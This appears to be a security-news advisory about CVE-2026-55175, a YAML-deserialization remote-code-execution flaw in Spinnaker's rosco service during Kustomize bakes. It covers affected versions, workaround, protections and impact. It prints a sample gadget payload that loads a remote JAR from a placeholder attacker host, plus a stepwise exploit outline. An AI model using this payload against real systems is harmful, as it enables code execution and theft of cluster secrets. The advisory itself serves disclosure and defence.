Listen to this Post
CVE-2026-55175 is a high-severity vulnerability affecting Spinnaker’s rosco service, specifically during Kustomize bake operations. The rosco service is responsible for baking machine images and manifests in Spinnaker’s deployment pipeline. When a user initiates a Kustomize bake, rosco processes YAML manifests that may contain custom tags. Prior to the patched versions, rosco did not properly sanitize or restrict the YAML tags processed during these operations. This improper handling allows an authenticated attacker to inject unsafe YAML tags into the manifests, which are then deserialized by the rosco service.
The core of the issue lies in the YAML deserialization mechanism used by rosco. YAML supports custom tags that can invoke constructors or execute code during deserialization. In vulnerable versions, rosco processes these tags without adequate filtering, enabling an attacker to craft a malicious YAML payload that, when processed, executes arbitrary code on the rosco pod. This is a classic insecure deserialization vulnerability, but it is specifically triggered through the Kustomize bake workflow.
The attack requires the attacker to have authenticated access to Spinnaker and the ability to trigger a Kustomize bake operation. This could be achieved through the Spinnaker UI, API, or by compromising a user account with sufficient permissions. Once the malicious YAML is processed, the attacker gains remote code execution (RCE) capabilities on the rosco pod, which typically runs with elevated privileges within the Kubernetes cluster. From there, an attacker could exfiltrate sensitive data, move laterally to other pods, or disrupt the continuous delivery pipeline.
The vulnerability is present in multiple release lines of Spinnaker. The affected versions include all releases before 2025.3.4, before 2025.4.4, before 2026.0.3, and before 2026.1.1. The issue was addressed by the Spinnaker maintainers in these patched versions, which incorporate stricter validation and sanitization of YAML tags during Kustomize bake operations. The CVSS v3.1 score for this vulnerability is 7.5 (High), with the vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating a network-accessible attack with high complexity, low privileges required, and no user interaction, resulting in high confidentiality, integrity, and availability impacts.
A simple workaround exists for organizations that cannot immediately upgrade: disable Kustomize bake operations entirely and use an alternative provider for manifest generation. This effectively eliminates the attack surface, as the vulnerability is only exploitable when Kustomize is used. However, this may impact workflows that rely on Kustomize for environment-specific customizations. The Spinnaker team has released the patches and recommends upgrading to the fixed versions as the primary mitigation.
DailyCVE Form:
Platform: Spinnaker
Version: <2025.3.4, <2025.4.4, <2026.0.3, <2026.1.1
Vulnerability: Improper YAML tag processing
Severity: High (CVSS 7.5)
date: 2026-07-06
Prediction: 2026-07-06
What Undercode Say:
Check Spinnaker version:
halversion
Check rosco pod version:
kubectl describe pod <rosco-pod-name> -n <spinnaker-namespace> | grep Image
Disable Kustomize bakes globally (workaround):
In Spinnaker configuration (halconfig) rosco: kustomize: enabled: false
Verify Kustomize is disabled:
hal deploy apply
Sample malicious YAML tag payload (for testing only):
apiVersion: kustomize.toolkit.fluxcd.io/v1 kind: Kustomization metadata: name: malicious-bake spec: path: ./manifests Unsafe YAML tag that triggers deserialization !javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL "http://attacker.com/payload.jar"]]]
Exploit: (Educational Purposes!)
- Authenticate to Spinnaker with a user account that has permissions to create and trigger bake pipelines.
- Create or modify a pipeline that includes a Kustomize bake stage.
- Inject a malicious YAML tag into the Kustomization manifest or one of its referenced files. The tag leverages Java deserialization gadgets (e.g.,
ScriptEngineManager) to load and execute arbitrary code from a remote JAR. - Trigger the bake operation. The rosco service will process the manifest, deserialize the unsafe tag, and execute the payload.
- Achieve RCE on the rosco pod, allowing the attacker to run system commands, access secrets, or pivot within the cluster.
Protection:
- Upgrade to one of the patched versions: 2025.3.4, 2025.4.4, 2026.0.3, or 2026.1.1.
- Disable Kustomize bakes entirely if upgrading is not immediately feasible.
- Restrict permissions for users who can trigger bake operations to only trusted personnel.
- Monitor rosco pod logs for unusual YAML processing errors or unexpected outbound network connections.
- Implement network policies to limit egress from rosco pods, reducing the impact of potential RCE.
Impact:
Successful exploitation allows an authenticated attacker to execute arbitrary code on the rosco pod. This can lead to:
– Exfiltration of sensitive configuration data, credentials, and secrets stored in the Spinnaker environment.
– Lateral movement to other pods within the Kubernetes cluster, potentially compromising the entire CD pipeline.
– Disruption of deployment operations, including modification or destruction of resources.
– Persistence by installing backdoors or additional malicious workloads on the cluster.
– Full compromise of the continuous delivery infrastructure, affecting all applications deployed through Spinnaker.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

